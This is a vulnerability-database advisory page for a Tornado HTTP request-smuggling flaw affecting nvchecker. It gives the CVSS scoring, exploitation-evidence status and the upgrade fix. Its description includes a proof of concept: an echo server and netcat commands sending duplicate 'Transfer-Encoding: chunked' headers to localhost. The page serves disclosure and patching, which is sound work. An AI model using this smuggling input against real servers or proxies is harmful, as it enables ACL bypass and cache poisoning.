VulnerabilityPublished 13 Aug 2026Updated 29 Oct 2026

CVE-2024-14029: Nvchecker · Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') in tornado

Affects nvcheckerSource GCVE Database

Compare

Authoritative record:CVE-2024-14029· Critical 9.0

Not known to be exploited · CVSS 9.0 Critical : upgrade to 2.15.1_1 as a priority.

Data as of 30 Oct 2026, 07:30 UTC

CVSS 4.0 base score

9.0Critical

How severe the flaw is on the 0–10 CVSS scale.

Patch: Available – fixed in 2.15.1_1

CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:L/SI:H/SA:N

Attack Vector: Network
Attack Complexity: High
Attack Requirements: Present
Privileges Required: None
User Interaction: None
Vulnerable system confidentiality: Low
Vulnerable system integrity: High
Vulnerable system availability: None
Subsequent system confidentiality: Low
Subsequent system integrity: High
Subsequent system availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: High: The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques, for example, circumvention of address space randomization (ASLR) or data execution prevention (DEP) must be performed for the attack to be successful; Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Attack Requirements: Present: The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: a race condition must be won to successfully exploit the vulnerability (the successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker, or the attack may need to be launched multiple times against a single target before being successful); the attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without interaction from any human user, other than the attacker.
Vulnerable system confidentiality: Low: There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the Vulnerable System.
Vulnerable system integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the vulnerable system. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the vulnerable system.
Vulnerable system availability: None: There is no impact to availability within the Vulnerable System.
Subsequent system confidentiality: Low: There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the Subsequent System.
Subsequent system integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the Subsequent System. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the Subsequent System.
Subsequent system availability: None: There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 15 Sep 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade nvchecker to 2.15.1_1.

Affected software

Product	Affected	Fixed in
Homebrewnvchecker`pkg:brew/nvchecker`Other threats	Affected >=2.7 <2.15.1_1	Fixed in 2.15.1_1

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary When Tornado receives a request with two `Transfer-Encoding: chunked` headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. [Pound](https://en.wikipedia.org/wiki/Pound_(networking)) does this. ### PoC 0. Install Tornado. 1. Start a simple Tornado server that echoes each received request's body: ```bash cat << EOF > server.py import asyncio import tornado class MainHandler(tornado.web.RequestHandler): def post(self): self.write(self.request.body) async def main(): tornado.web.Application([(r"/", MainHandler)]).listen(8000) await asyncio.Event().wait() asyncio.run(main()) EOF python3 server.py & ``` 2. Send a valid chunked request: ```bash printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000 ``` 3. Observe that the response is as expected: ``` HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Sat, 07 Oct 2023 17:32:05 GMT Content-Length: 1 Z ``` 4. Send a request with two `Transfer-Encoding: chunked` headers: ``` printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000 ``` 5. Observe the strange response: ``` HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Sat, 07 Oct 2023 17:35:40 GMT Content-Length: 0 HTTP/1.1 400 Bad Request ``` This is because Tornado believes that the request has no message body, so it tries to interpret `1\r\nZ\r\n0\r\n\r\n` as its own request, which causes a 400 response. With a little cleverness involving `chunk-ext`s, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure. ### Impact Anyone using Tornado behind a proxy that forwards requests containing multiple `Transfer-Encoding: chunked` headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection desynchronization.

References

Community reviews

Loading reviews…